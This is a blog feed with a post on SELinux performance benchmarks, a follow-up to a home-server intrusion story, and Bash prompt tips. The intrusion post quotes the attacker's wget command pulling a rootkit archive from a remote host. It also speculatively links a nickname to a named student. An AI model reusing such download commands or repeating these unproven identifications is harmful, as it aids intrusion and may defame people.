&lt;p&gt;&lt;img width=&quot;697&quot; height=&quot;350&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_5_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;Hardware specification given in the tabel below. I turned off CPU stepping on the laptop.

&lt;table cellspacing=&quot;0&quot; cellpadding=&quot;3&quot;&gt;
&lt;tr bgcolor=&quot;#333333&quot;&gt;
  &lt;td&gt;&lt;strong&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;Hardware&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;
  &lt;td&gt;&lt;strong&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;Laptop&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;
  &lt;td&gt;&lt;strong&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;Workstation&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;
  &lt;td&gt;&lt;strong&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;Switch&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#999999&quot;&gt;&lt;strong&gt;Model:&lt;/strong&gt;&lt;/td&gt;
  &lt;td&gt;Fujitsu Siemens Lifebook S7020D&lt;/td&gt;
  &lt;td&gt;OptiPlex 745&lt;/td&gt;
  &lt;td&gt;D-Link DGS-1008D&lt;/td&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#999999&quot;&gt;&lt;strong&gt;CPU:&lt;/strong&gt;&lt;/td&gt;
  &lt;td&gt;Intel(R) Pentium(R) M 2.00GHz&lt;/td&gt;
  &lt;td&gt;Intel(R) Core(TM)2 CPU 2.13GHz&lt;/td&gt;
  &lt;td&gt;&lt;/td&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#999999&quot;&gt;&lt;strong&gt;RAM:&lt;/strong&gt;&lt;/td&gt;
  &lt;td&gt;2 GB&lt;/td&gt;
  &lt;td&gt;4 GB&lt;/td&gt;
  &lt;td&gt;&lt;/td&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#999999&quot;&gt;&lt;strong&gt;Ethernet:&lt;/strong&gt;&lt;/td&gt;
  &lt;td&gt;Broadcom NetXtreme BCM5751M PCI Express (Gbps)&lt;/td&gt;
  &lt;td&gt;Broadcom NetXtreme BCM5754 PCI Express (Gbps)&lt;/td&gt;
  &lt;td&gt;8 port Gbps&lt;/td&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#999999&quot;&gt;&lt;strong&gt;Disk:&lt;/strong&gt;&lt;/td&gt;
  &lt;td&gt;SATA: 80GB, Seagate ST98823AS&lt;/td&gt;
  &lt;td&gt;SATA: 250GB, WDC WD2500JS-75N&lt;/td&gt;
  &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;p&gt;Output from &quot;lshw&quot; can be found here: &lt;a href=&quot;http://blog.gnist.org/download/selinux/lshw-laptop.log&quot;&gt;Laptop&lt;/a&gt; and &lt;a href=&quot;http://blog.gnist.org/download/selinux/lshw-workstation.log&quot;&gt;Workstation&lt;/a&gt;.&lt;a href=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_11_original.png&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;123&quot; align=&quot;right&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_11.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

&lt;p&gt;The operating system tested was RedHat Enterprise Linux 5 (RHEL5) Server. The laptop ran i386 (32 bits) version, but the workstation ran both i386 and x64 (64 bits) version. The client was running Ubuntu 7.04. So when RHEL5 was tested on the workstation, the laptop ran Ubuntu 7.4 and vice versa. 

&lt;p&gt;One little trivia: When testing, I was surprised when I found out that my laptop, with a gigabit interface, could could sustain 1Gbps network traffic. Se screenshot from &quot;iptraf&quot; to the right. 

&lt;p&gt;&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;The Tests&quot;&gt;3. The Tests&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt;

&lt;p&gt;When SELinux is deployed, it is to provide an extra layer of security to existing services. Knowing the performance penalty when running SELinux on common (network based) services was the goal. The first task was to find good benchmark tools. I tested Apache prefork and worker (threaded), Postfix and MySQL.

&lt;p&gt;To flush out different caches (file cache, AVC etc.), the machine was rebootet between each test. All relevant files (log-files, mailboxes etc.) were also blanked before each new test. 

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Apache&quot;&gt;3a. Apache&lt;/a&gt;&lt;/font&gt;

&lt;p&gt;Apache can run using a prefork model, where each request is assigned to a free Apache process. New processes are forked if the number of requests gets high. When running as &quot;worker&quot;, Apache uses threads instead of forking. This is not default behavior for Apache on RHEL since PHP is not compatible with this mode. Worker mode is slightly faster than prefork as seen from the graphs below.

&lt;p&gt;The test was used running Apaches own benchmark tool &quot;ab&quot;. It was run against the same html-file. For each host, eleven tests with different concurrent connections (1 up to 255) each with 100000 requests was performed. The ab-test script can be downloaded &lt;a href=&quot;http://blog.gnist.org/download/selinux/ab-test1.sh&quot;&gt;here&lt;/a&gt; and the index.html file &lt;a href=&quot;http://blog.gnist.org/download/selinux/test.html&quot;&gt;here&lt;/a&gt;.

&lt;p&gt;Using a default (RHEL) httpd.conf, modifying only the number allowed clients (to 256).

&lt;p&gt;This test uses a lot of network traffic, process handling (fork or thread) and disk read (html file) and write (log file). 

&lt;p&gt;Below is the result from the prefork results. For each host the average for all 11 tests are shown:

&lt;p&gt;&lt;img width=&quot;751&quot; height=&quot;487&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_6_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;The same results with Apache worker (threaded):

&lt;p&gt;&lt;img width=&quot;750&quot; height=&quot;503&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_7_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Postfix&quot;&gt;3b. Postfix&lt;/a&gt;&lt;/font&gt;

&lt;p&gt;Postfix is a popular mail server (MTA) and a rival to Sendmail. It is composed of several daemons, each responsible for performing a specific task (putting the mail in the queue, final delivery to the user's mailbox etc.). Read more about the different components in Postfix when receiving mail &lt;a href=&quot;http://www.postfix.org/receiving.html&quot;&gt;here&lt;/a&gt;.

&lt;p&gt;The test was performed running Postfix' &quot;smtp-source&quot; against a Postfix mail server. The program is a SMTP test generator which connects to a mail server and send messages to it (sequentially or in parallel). Testing was done from &lt;em&gt;and measured on the client&lt;/em&gt; sending 10000 messages four times with different concurrent connections (1 to 1000) (&lt;a href=&quot;http://blog.gnist.org/download/selinux/smtp-source.sh&quot;&gt;test script&lt;/a&gt;). Time taken was taken from the first to the last mail sent. 

&lt;p&gt;Using a fairly default (RHEL) main.cf, changing only the listing interface from &quot;localhost&quot; to &quot;all&quot;. 

&lt;p&gt;This test uses a lot of network traffic, process handling and primarily disk write (mails and logs).

&lt;p&gt;Four tests for each host. Average results shown:

&lt;p&gt;&lt;img width=&quot;748&quot; height=&quot;485&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_8_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;MySQL&quot;&gt;3c. MySQL&lt;/a&gt;&lt;/font&gt;

&lt;p&gt;MySQL is a popular database. It is multi-threaded and does not fork new processes. The benchmark tool was MySQL own &quot;MySQL Benchmark suite&quot;, running all tests (&quot;run-all-tests&quot;). The test was started on the same host as the MySQL-server, so all communication was over a unix-socket. Around 3 million tests done in each run, but these are mostly CPU-bound, which can be seen from the results (low SELinux overhead):

&lt;p&gt;&lt;img width=&quot;746&quot; height=&quot;505&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_9_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Conclusion&quot;&gt;4. Conclusion&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt;

&lt;p&gt;There is no &quot;official&quot; number for how much performance penalty SELinux introduces. &lt;a href=&quot;http://docs.fedoraproject.org/selinux-faq-fc5/#id2965028&quot;&gt;The Fedora Core FAQ&lt;/a&gt; says its hard to measure but states: &lt;em&gt;&quot;When performance was last measured, the impact was around 7% for completely untuned code.&quot;&lt;/em&gt; Performance depends on how the program behaves, the security policy written for it and the particular usage of that program. We've seen that more CPU bound programs, like the MySQL benchmark, has less SELinux overhead since the process itself spend more time on the CPU and less interaction with other part of the system (disk access, network traffic etc.).

&lt;p&gt;If we combine all the result above, we come up with an average penalty of around 6%. Which is pretty close to 7% stated in the Fedora FAQ.

&lt;p&gt;&lt;img width=&quot;631&quot; height=&quot;495&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_10_original.png&quot; alt=&quot;&quot;&gt;

&lt;hr&gt;

&lt;p&gt;&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;References&quot;&gt;5. References&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt;
&lt;p&gt;
&lt;strong&gt;News&lt;/strong&gt;
&lt;ol&gt;
  &lt;li&gt;&quot;Novell lays off AppArmor programmers&quot;: &lt;a name=&quot;Novell1&quot; href=&quot;http://www.news.com/8301-13580_3-9796140-39.html&quot;&gt;
  http://www.news.com/8301-13580_3-9796140-39.html&lt;/a&gt;&lt;/li&gt;

  &lt;li&gt;&quot;Novell Dismisses AppArmor Developer&quot;: &lt;a name=&quot;Novell2&quot; href=&quot;http://www.linux-magazine.com/online/news/novell_dismisses_apparmor_developer&quot;&gt;
  http://www.linux-magazine.com/online/news/novell_dismisses_apparmor_developer&lt;/a&gt;&lt;/li&gt; 

  &lt;li&gt;&quot;SELinux sparks tussle over Linux security model&quot;: &lt;a name=&quot;LSM1&quot; href=&quot;http://www.gcn.com/online/vol1_no1/45236-1.html&quot;&gt;
  http://www.gcn.com/online/vol1_no1/45236-1.html&lt;/a&gt;

  &lt;li&gt;&quot;Torvalds irate over Linux Smack&quot;: &lt;a name=&quot;LSM2&quot; href=&quot;http://www.vnunet.com/vnunet/news/2200143/linus-irate-linux-smacking&quot;&gt;
  http://www.vnunet.com/vnunet/news/2200143/linus-irate-linux-smacking&lt;/a&gt;

  &lt;li&gt;&quot;Securing Linux Systems with AppArmor&quot; presented by Crispin
  Cowan at DefCon 15 2007: &lt;a name=&quot;Novell3&quot; href=&quot;http://video.google.com/videoplay?docid=-1731833784646588861&quot;&gt;
  http://video.google.com/videoplay?docid=-1731833784646588861&lt;/a&gt; 

  &lt;li&gt;&quot;Five ways SELinux may surprise you&quot;: &lt;a name=&quot;Surprise1&quot; href=&quot;http://searchenterpriselinux.techtarget.com/columnItem/0,294698,sid39_gci1253747,00.html&quot;&gt; http://searchenterpriselinux.techtarget.com/columnItem/0,294698,sid39_gci1253747,00.html&lt;/a&gt;

  &lt;li&gt;&quot;Uncovering the secrets of SE Linux&quot;:&lt;a name=&quot;Loeb1&quot; href=&quot;http://www-128.ibm.com/developerworks/library/s-selinux/?n-s-381&quot;&gt; http://www-128.ibm.com/developerworks/library/s-selinux/?n-s-381&lt;/a&gt;

&lt;/ol&gt;

&lt;strong&gt;Documentation&lt;/strong&gt;
&lt;ol&gt;
  &lt;li&gt;&quot;NSA: Security-Enhanced Linux&quot;: &lt;a name=&quot;NSA1&quot; href=&quot;http://www.nsa.gov/selinux/&quot;&gt;http://www.nsa.gov/selinux/&lt;/a&gt;

  &lt;li&gt;&quot;RHEL5 Manual: Chapter 43 Security and SELinux&quot;: &lt;a name=&quot;RHEL5&quot; href=&quot;http://www.redhat.com/docs/manuals/enterprise/RHEL-5-manual/Deployment_Guide-en-US/selg-overview.html&quot;&gt;
  http://www.redhat.com/docs/manuals/enterprise/RHEL-5-manual/Deployment_Guide-en-US/selg-overview.html&lt;/a&gt; 

  &lt;li&gt;&quot;RHEL4 SELinux Guide&quot;: &lt;a name=&quot;RHEL4&quot; href=&quot;http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/selinux-guide/&quot;&gt;
  http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/selinux-guide/&lt;/a&gt;

  &lt;li&gt;&quot;Gentoo: Working with SELinux&quot;: &lt;a name=&quot;Gentoo&quot; href=&quot;http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml?part=3&quot;&gt; http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml?part=3&lt;/a&gt;

  &lt;li&gt;Red Hat SELinux developer Daniel Walsh's blog: &quot;danwalsh's
  Journal&quot;: &lt;a name=&quot;Walsh1&quot; href=&quot;http://danwalsh.livejournal.com/&quot;&gt;
  http://danwalsh.livejournal.com/&lt;/a&gt;

  &lt;li&gt;&quot;Fedora SELinux FAQ&quot;: &lt;a name=&quot;FedoraSELinux1&quot; href=&quot;http://docs.fedoraproject.org/selinux-faq/&quot;&gt;
  http://docs.fedoraproject.org/selinux-faq/&lt;/a&gt; 

  &lt;li&gt;&quot;SuSE AppArmor&quot;: &lt;a name=&quot;AppArmor&quot; href=&quot;http://en.opensuse.org/Apparmor&quot;&gt; http://en.opensuse.org/Apparmor&lt;/a&gt;
&lt;/ol&gt;


&lt;strong&gt;Books&lt;/strong&gt;
&lt;ol&gt; 
  &lt;li&gt;Matthew Bishop. &lt;a name=&quot;Bishop1&quot; href=&quot;http://nob.cs.ucdavis.edu/book/book-aands/index.html&quot;&gt;
  &lt;i&gt;Computer Security: Art and Science&lt;/i&gt;&lt;/a&gt;. Addison Wesley, Dec
  2002. (&lt;a href=&quot;http://books.google.com/books?id=pfdBiJNfWdMC&amp;amp;pg=PP1&amp;amp;dq=matthew+bishop+computer+security&amp;amp;ei=WocbR93BIKjA7AKohdWTBQ&amp;amp;sig=shllMFt8bBAwYEI2KZqaVaIoVtk#PPP1,M1&quot;&gt;Excerpts at &quot;Google Books&quot;&lt;/a&gt;). 
  &lt;li&gt;Ross J. Anderson. &lt;a name=&quot;Anderson1&quot; href=&quot;http://www.cl.cam.ac.uk/~rja14/book.html&quot;&gt;&lt;i&gt;Security
  Engineering: A Guide to Building Dependable Distributed
  Systems&lt;/i&gt;&lt;/a&gt;. John Wiley &amp;amp; Sons, Apr 2001.

  &lt;li&gt;Bill McCarty. &lt;a name=&quot;McCarty1&quot; href=&quot;http://www.oreilly.com/catalog/selinux/&quot;&gt;&lt;i&gt;SELinux&lt;/i&gt;&lt;/a&gt;.
  O'Reilly, Oct 2004.
&lt;/ol&gt;

&lt;hr&gt;</content>
</entry>
<entry>
<title type="html">Holiday cracking - redux</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=HolidayCracking-redux"/>
<id>tag:blog.larsstrand.org,2007-11-03:/article.php?story=HolidayCracking-redux</id>
<published>2007-11-03T19:18:00+01:00</published>
<updated>2007-11-03T19:18:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;&lt;em&gt;&lt;strong&gt;Update 3. Nov 2007:&lt;/strong&gt; Dug  up some more interesting stuff.&lt;/em&gt;

&lt;p&gt;The &lt;a href=&quot;http://blog.larsstrand.org/article.php?story=HollidayCracking&quot;&gt;&quot;holiday cracking&quot;&lt;/a&gt; story got far more attention than I ever would have imagined. If I had known it would get so massive attention, I sure would have done a more throughly job. Interestingly, after the posting I have received some pretty interesting feedback - even an email from the cracker himself! It sure helps getting on &lt;a href=&quot;http://it.slashdot.org/article.pl?sid=07/08/24/179247&quot;&gt;Slashdot&lt;/a&gt; and posted on &lt;a href=&quot;http://www.schneier.com/blog/archives/2007/08/how_a_linux_ser.html&quot;&gt;Bruce Schneier's&lt;/a&gt; blog!
&lt;p&gt;In fact, when the story hit /., I first thought that I was finally being &lt;a href=&quot;http://en.wikipedia.org/wiki/Denial-of-service_attack&quot;&gt;DoS'ed&lt;/a&gt; by an angry exposed cracker. But I quickly found out that it was the &quot;normal&quot; slashdot effect. You can see the traffic increase from the graph: The first traffic increase is from Schneier (week 33), the second is slashdot (week 34). &lt;a href=&quot;http://blog.larsstrand.org/images/articles/HolidayCracking-redux_1_original.png&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;97&quot; class=&quot;floatright&quot; src=&quot;http://blog.larsstrand.org/images/articles/HolidayCracking-redux_1.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

&lt;p&gt;First one clarification. The cracked server was an (old and rusty) personal server, hosting nothing more than backup of some digital pictures hooked up through ADSL. The server was not part of production system running some critical services. The only exposed services to the Internet were SSH and Apache (no PHP as I recall). Hunting down this little cracker was just for fun. 

&lt;p&gt;It was also interesting to read the comments. A lot of the usual nonsense crap (&lt;i&gt;&quot;I pity the fool who cracks your system, fool!&quot;&lt;/i&gt;), to more fun details (&lt;i&gt;&quot;He should've symlinked .bash_history to /dev/random!&quot;&lt;/i&gt;) but also some very helpful and constructive comments. I would in particular mention the SANS whitepaper &lt;a href=&quot;http://www.sans.org/reading_room/whitepapers/honors/?portal=5f54d8a6081574e3865925eec1989082&quot;&gt;&quot;Dead Linux Machines Do Tell Tales&quot;&lt;/a&gt; by James Fung (local copy &lt;a href=&quot;http://blog.larsstrand.org/download/crack/SANS-DeadLinuxMachinesDoTellTales.pdf&quot;&gt;here&lt;/a&gt;) - a couple of years old, but still a very interesting read. Another good tip, was the software &lt;a href=&quot;http://www.chkrootkit.org/&quot;&gt;chkrootkit&lt;/a&gt; and &lt;a href=&quot;http://rkhunter.sourceforge.net/&quot;&gt;rkhunter&lt;/a&gt;, both helpful in finding and identifying rootkits.

&lt;p&gt;Several polish users have sent me translations from the hosts used in the crack:

&lt;p&gt;The cacker used the bot &quot;psotnic&quot; which translates to &quot;rascal&quot; or &quot;urchin&quot;. Se &lt;a href=&quot;http://en.wikipedia.org/wiki/Psotnic&quot;&gt;wikipedias entry on psotnic&lt;/a&gt; for more info.

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&quot;4lo.bydg.pl&quot;&lt;/strong&gt; - IV High School in Bydgoszcz. The IP-address 83.19.148.250 resolves to this host.
  &lt;li&gt;&lt;strong&gt;&quot;matsys&quot;&lt;/strong&gt; - A popular nickname. Short version of &quot;Mateusz&quot; (male).
  &lt;li&gt;&lt;strong&gt;&quot;pliki&quot;&lt;/strong&gt; - files.
&lt;/ul&gt;

&lt;p&gt;So &lt;em&gt;wget http://83.19.148.250/~matys/pliki/shv5.tar.gz&lt;/em&gt; gives more sense. 
&lt;p&gt;A polish reader, Michal Bartkowiak, did some more digging on the polish web-pages and found more interesting stuff:
&lt;p&gt;
&lt;pre&gt;
Ok, so let's take a look at this school website (4lo.bydg.pl). Search&lt;br&gt;
option is in menu on left side (&quot;szukaj&quot; in polish). But search for&lt;br&gt;
what? Maybe &quot;matys&quot;.. nothing. I'm assuming that name of this account's&lt;br&gt;
owner is &quot;Mateusz&quot;.. three results. Click on first one&lt;br&gt;     
(&lt;a href=&quot;http://4lo.bydg.pl//index.php?option=com_content&amp;amp;task=section&amp;amp;id=44&amp;amp;Itemid=93&quot;&gt; http://4lo.bydg.pl//index.php?option=com_content&amp;amp;task=section&amp;amp;id=44&amp;amp;Itemid=93&lt;/a&gt;)&lt;br&gt;
&lt;br&gt;
and you will get a list of names from competition. Three persons with&lt;br&gt;
first name &quot;Mateusz&quot;. Wait a minute, surname of first guy is &quot;Lapinski&quot;&lt;br&gt;
(written without polish fonts), which looks very fimilar to LaPi. And it&lt;br&gt;
makes sense in our language to create nick like this from surname&lt;br&gt;
&quot;Lapinski&quot;. While Lapinski is not very popular name, it still can be&lt;br&gt;
just coincidence or my imagination. Or another hacked account of course.&lt;br&gt;
&lt;br&gt;
Anyway, that's a good time for google. Search for &quot;matys&lt;br&gt;
site:4lo.bydg.pl&quot; shows some activity on this account, e.g. index of&lt;br&gt;
/~matys/foty/02-07-2007 (&quot;foty&quot; means &quot;photos&quot;).&lt;br&gt;       
Search for &quot;lapi+psotnic&quot; returns userlist generated by psotnic version&lt;br&gt;
0.2.11. Guess what? lapi is there. With IP from polish ISP&lt;br&gt;
(&lt;a href=&quot;http://hoth.amu.edu.pl/~esio/smieci/hub.ul&quot;&gt; http://hoth.amu.edu.pl/~esio/smieci/hub.ul&lt;/a&gt;).&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Actually, when I searched for &lt;a href=&quot;http://www.google.no/search?hl=en&amp;amp;q=lapi%2Bpsotnic&amp;amp;btnG=Google+Search&amp;amp;meta=&quot;&gt;&quot;lapi+psotnic&quot;&lt;/a&gt; on google, a web-site called &lt;a href=&quot;http://exy.hu&quot;&gt;exy.hu&lt;/a&gt; popped up. Now this site has all kinds of nice crack software available, lists of username/password to a bunch of porn sites and a whole range of crew pictures. &lt;strong&gt;And guess what, a picture file there named lapi.jpg! (Fetch here: &lt;a href=&quot;http://exy.hu/kepek/crew/Lapi/lapi.jpg&quot;&gt;http://exy.hu/kepek/crew/Lapi/lapi.jpg&lt;/a&gt;). Is this our LaPi?&lt;/strong&gt;

&lt;p&gt;I also received an interesting mail from one former student and sysadmin of &lt;a href=&quot;http://panorama.sth.ac.at&quot;&gt;panorama.sth.ac.at&lt;/a&gt;. He could tell me that the host &lt;a href=&quot;http://campus19.panorama.sth.ac.at&quot;&gt;campus19.panorama.sth.ac.at&lt;/a&gt; was &lt;strong&gt;not&lt;/strong&gt; NATed, but in fact one of the few IP-addresses that still is a FQDN. So he had both the name and the room-number of the alleged cracker! He should alert the administrators on-site and come back to me as soon as they had investigated further. This was one month ago, but (unfortunate) I have still not heard anything. 

&lt;p&gt;The most interesting mail I got was from Ipal (LaPi) himself! LaPi was, as we recall, the alleged cracker:
&lt;p&gt;
&lt;pre&gt;
From: lapi &amp;lt;lapi@xxxxxxx.xxx&amp;gt;&lt;br&gt;
To: lars@gnist.org&lt;br&gt;
Subject: .&lt;br&gt;
Date: Sat, 25 Aug 2007 14:43:40 +0200&lt;br&gt;
User-Agent: Thunderbird 2.0.0.6 (Windows/20070728)&lt;br&gt;
&lt;br&gt;
hi,&lt;br&gt;
friend show me this&lt;br&gt;
&lt;br&gt;
http://blog.gnist.org/article.php?story=HollidayCracking&lt;br&gt;
&lt;br&gt;
i read it and see my psybnc IpaL, you send mail etc&lt;br&gt;
&lt;br&gt;
im not abuse, im not metys, my session only stands there, i don't&lt;br&gt;
remember why, maybe some spam i see and join to see and detach, or i&lt;br&gt;
look for hacked servers, but i don't hack, my shell is k-lined, send&lt;br&gt;
mail, because i must un kline it. Im only user of ircnet&lt;br&gt;
&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;He's claiming his innocent. I tried asking him some question, and, as far as I have interpreted his answers, he believe another cracker called 'metys' actually did the crack. He says he's just some innocent guy being at the wrong place at the wrong time... 

&lt;p&gt;I'm not convinced. I find it really suspicious that he's at a IRC-channel only occupied with zombies. Perhaps he's just playing the &quot;innocent card&quot; mixed with some bad English? Hard to tell.</content>
</entry>
<entry>
<title type="html">Bash prompt with exit status</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=BashPromptWithExitStatus"/>
<id>tag:blog.larsstrand.org,2007-10-13:/article.php?story=BashPromptWithExitStatus</id>
<published>2007-10-13T14:37:00+02:00</published>
<updated>2007-10-13T14:37:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">Let's improve the Bash prompt even further from my &lt;a href=&quot;http://blog.larsstrand.org/article.php?story=BashPromptRedHat&quot;&gt;last post&lt;/a&gt;. I want to see the exit status of the last command in the bash prompt.
&lt;p&gt;All (good written) programs have different exit status depending on how they where terminated. Exit status &quot;0&quot; is equivalent to &quot;I terminated normally&quot;, all other exit status codes are the same as &quot;non-normal exit&quot; or &quot;something went wrong&quot;. Unfortunate, there is not defined any standard exit status table that can say something about &lt;i&gt;what&lt;/i&gt; went wrong given a numeric exit status. That is up to the programmer to decide. 
&lt;p&gt;
&lt;pre&gt;
 lars@titan:~&amp;#36; &lt;strong&gt;test 1 -eq 1&lt;/strong&gt;&lt;br&gt;
 lars@titan:~&amp;#36; &lt;strong&gt;echo &amp;#36;?&lt;/strong&gt;&lt;br&gt;
 0&lt;br&gt;
 lars@titan:~&amp;#36; &lt;strong&gt;test 1 -eq 2&lt;/strong&gt;&lt;br&gt;
 lars@titan:~&amp;#36; &lt;strong&gt;echo &amp;#36;?&lt;/strong&gt;&lt;br&gt;
 1&lt;br&gt;
 lars@titan:~&amp;#36; &lt;strong&gt;notanycommand&lt;/strong&gt;&lt;br&gt;
 bash: notanycommand: command not found&lt;br&gt;
 lars@titan:~&amp;#36; &lt;strong&gt;echo &amp;#36;?&lt;/strong&gt;&lt;br&gt;
 127&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;I know that the exit status is stored in &quot;&amp;#36;?&quot;. I use that to colorize my prompt red if the exit status is anything but &quot;0&quot; (&quot;all ok&quot;). In the bash man page, there is a special variable that is exactly what I'm looking for:
&lt;p&gt;
&lt;pre&gt;
PROMPT_COMMAND&lt;br&gt;
  If set, the value is executed as a command prior to issuing each&lt;br&gt;
  primary prompt.&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;So we create a small function and add it to &lt;strong&gt;~/.bashrc&lt;/strong&gt;:
&lt;pre&gt;
function exitstatus {&lt;br&gt;
&lt;br&gt;
        EXITSTATUS=&quot;&amp;#36;?&quot;&lt;br&gt;
        BOLD=&quot;&amp;#92;&amp;#91;&amp;#92;033&amp;#91;1m&amp;#92;&amp;#93;&quot;&lt;br&gt;
        RED=&quot;&amp;#92;&amp;#91;&amp;#92;033&amp;#91;1;31m&amp;#92;&amp;#93;&quot;&lt;br&gt;
        OFF=&quot;&amp;#92;&amp;#91;&amp;#92;033&amp;#91;m&amp;#92;&amp;#93;&quot;&lt;br&gt;
       &lt;br&gt;
        if &amp;#91; &quot;&amp;#36;EXITSTATUS&quot; -eq &quot;0&quot; &amp;#93;&lt;br&gt;
        then&lt;br&gt;
                PS1=&quot;&amp;#36;{BOLD}&amp;#92;u@&amp;#92;h:&amp;#92;w&amp;#92;&amp;#36;&amp;#36;{OFF} &quot;&lt;br&gt;
        else&lt;br&gt;
                PS1=&quot;&amp;#36;{BOLD}&amp;#92;u@&amp;#92;h:&amp;#92;w&amp;#36;{OFF}&amp;#36;{RED}&amp;#92;&amp;#36;&amp;#36;{OFF} &quot;&lt;br&gt;
        fi&lt;br&gt;
&lt;br&gt;
        PS2=&quot;&amp;#36;{BOLD}&amp;gt;&amp;#36;{OFF} &quot;&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
PROMPT_COMMAND=exitstatus&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Fire up a new shell, and every command that has an exit status different than &quot;0&quot; puts a red marker in your prompt:
&lt;p&gt;
&lt;img width=&quot;739&quot; height=&quot;462&quot; src=&quot;http://blog.larsstrand.org/images/articles/BashPromptWithExitStatus_1_original.png&quot; alt=&quot;&quot;&gt;</content>
</entry>
<entry>
<title type="html">Bash prompt (on RedHat)</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=BashPromptRedHat"/>
<id>tag:blog.larsstrand.org,2007-10-12:/article.php?story=BashPromptRedHat</id>
<published>2007-10-12T15:30:00+02:00</published>
<updated>2007-10-12T15:30:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">I've been working with a lot of different RHEL-boxes lately, and I've (yet again) been frustrated with the default RedHat Bash-prompt. It is an easy fix, but its tiresome to change every time. &lt;p&gt;
Okay, the &quot;trouble&quot; is this:&lt;p&gt;
&lt;pre&gt;
  [lars@titan ~]&amp;#36;
&lt;/pre&gt;
&lt;p&gt;This is the default bash prompt. Now, thats fine enough, but lets jump to another directory.:
&lt;p&gt;
&lt;pre&gt;
  [lars@titan lib]&amp;#36; 
&lt;/pre&gt;
&lt;p&gt;Where am I now? Which directory is this? Hm?
&lt;p&gt;Since the RedHat prompt only shows the current directory, and NOT the full path, it can be any number of directories:
&lt;ul&gt;
&lt;li&gt;/lib
&lt;li&gt;/usr/lib/
&lt;li&gt;/usr/src/linux/lib/
&lt;li&gt;/usr/local/lib/
&lt;li&gt;/opt/lib
&lt;li&gt;/var/lib
&lt;li&gt;~/lib
&lt;li&gt;...
&lt;/ul&gt;
&lt;p&gt;You get the idea? And, if you have the same amount of short-time memory like me, you have to constantly type 'pwd' to check which directory you currently are in. The only nice feature with the default RedHat prompt, is to prevent long wrapping prompt (when the full path gets long).

&lt;p&gt;Luckily, it is easy to change the prompt. Just add this to your &lt;strong&gt;~/.bashrc&lt;/strong&gt;
&lt;p&gt;
&lt;pre&gt;
    PS1='&amp;#92;u@&amp;#92;h:&amp;#92;w&amp;#92;&amp;#36; '&lt;br&gt;
    PS2='&amp;gt; '
&lt;/pre&gt;
&lt;p&gt;This gives you:
&lt;p&gt;
&lt;pre&gt;
 lars@dream:~&amp;#36; 
&lt;/pre&gt;
&lt;p&gt;
And lets &lt;i&gt;now&lt;/i&gt; jump to another directory:&lt;p&gt;
&lt;pre&gt;
lars@dream:/usr/local/lib&amp;#36; 
&lt;/pre&gt;
&lt;p&gt;See? No more 'pwd'! Finally a more sane and useful Bash prompt!

&lt;p&gt;You can find more prompt variables in the Bash manual &lt;a href=&quot;http://www.gnu.org/software/bash/manual/bashref.html#SEC83&quot;&gt;here&lt;/a&gt;.

&lt;p&gt;A slightly more fancy variant of the above, is to make the prompt bold:
&lt;p&gt;
&lt;pre&gt;
